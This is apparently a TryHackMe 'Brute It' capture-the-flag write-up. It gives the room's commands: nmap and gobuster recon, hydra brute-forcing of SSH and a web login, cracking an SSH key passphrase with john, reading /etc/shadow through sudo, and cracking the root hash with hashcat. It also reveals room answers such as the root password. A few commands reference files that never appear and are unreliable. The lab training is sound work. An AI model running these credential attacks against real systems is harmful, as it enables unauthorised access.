Challenges: Brute It (TryHackMe)

In this box, we walk through a hands-on experience of a basic CTF-style Linux machine, where we explore critical concepts useful for real-world penetration testing and OSCP prep. The focus is on:

• 🔍 Reconnaissance using tools like nmap and gobuster

• 🔐 Brute-force attacks on both SSH and web login forms using hydra

• 🔑 Cracking private key passphrases with john

• 🛠️ Privilege escalation by analyzing sudo permissions and cracking shadow file hashes

Throughout the room, we sharpen our understanding of attack surfaces exposed via web services, and practice chaining small wins — from login panels to shell access — into full system compromise.

Whether you're a beginner learning the ropes or someone brushing up before an exam, this room will help solidify your offensive security fundamentals.

About this box

In this box you will learn about:

- Brute-force

- Hash cracking

- Privilege escalation

Connect to the TryHackMe network, and deploy the machine.

Answer the questions below

Deploy the machine

Reconnaissance

Before attacking, let's get information about the target

Answer the questions below

Search for open ports using nmap.

nmap -p- -sC -sV IP_Address

1. How many ports are open?

2. What version of SSH is running?

3. What version of Apache is running?

4. Which Linux distribution is running?

5. Search for hidden directories on web server.
   What is the hidden directory?

   gobuster dir -u IP_Address -w /usr/share/wordlists/dirb/common.txt

   

take note of user called john, it will be important

gobuster dir -u IP_Address/admin/ -w /usr/share/wordlists/dirb/common.txt

Getting a shell

Find a form to get a shell on SSH.

Answer the questions below

1. What is the user:password of the admin panel?

   I tried using hydra in this way:

   hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://IP_Address
hydra -l admin -P /usr/share/wordlists/fasttrack.txt ssh://IP_Address

   hydra -L /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -P /usr/share/wordlists/rockyou.txt ssh://IP_Address

   that didn’t work went back to the site to try logging in using the username admin and random passwords

   the login form:

   

After logging in with random password with our given username, admin. Under the Request of the Network tab we see the login form fields user and pass

hydra -l admin -P /usr/share/wordlists/rockyou.txt IP_Address http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:F=Username or password invalid"

• /admin/index.php → the login page URL.

• user=^USER^&pass=^PASS^ → the exact POST body format, using the input field names from the form. Hydra substitutes ^USER^ and ^PASS^ as it tries each combo.

• F=Username or password invalid → tells Hydra what failure message to look for in the response. If it doesn't find this string, it assumes login was successful.

the output

2. Crack the RSA key you found.
   What is John's RSA Private Key passphrase?

   you’ll find the id_rsa here: http://10.10.107.134/admin/panel/id_rsa. Create a file to past it to

   nano id_rsa

   /opt/john/ssh2john.py id_rsa > hash.txt

   john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

   

   

3. user.txt

   chmod 600 id_rsa

   ssh -i id_rsa john@IP_Address

   find / -type f -name user.txt 2> /dev/null

   

4. Web flag

   you’ll find the web flag here: http://10.10.107.134/admin/panel/id_rsa.

   

Privilege Escalation

Now, we need to escalate our privileges.

Answer the questions below

Find a form to escalate your privileges.

1. What is the root's password? football

   sudo /bin/cat /etc/shadow

   

   echo "$6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02." > hash11.txt
grep -E '^[a-z]{8}$' /usr/share/wordlists/rockyou.txt > 8_letter_words.txt

   hashcat -m 1800 -a 0 hash11.txt 8_letter_words.txt

   john --format=sha512crypt --wordlist=six_letter_words.txt hash6.txt

   

2. root.txt

   

This box reinforced essential skills for attacking Linux systems:

• 🎯 We started with enumeration using nmap and gobuster, uncovering both open ports and hidden directories.

• 🔓 We used hydra to brute-force both web login forms and SSH authentication, demonstrating how critical weak credentials can be.

• 🧩 We learned to convert private SSH keys into a hash format readable by john, and crack the passphrase to gain shell access.

• 🔝 For privilege escalation, we explored the power of sudo misconfigurations and cracked a hashed root password using hashcat.

By the end of this room, we captured all the flags — from web to user to root — and gained a better appreciation for how multiple weak points can be exploited to take control of a system.

Keep practicing, stay curious, and always document your learning journey. On to the next challenge! 💪🔐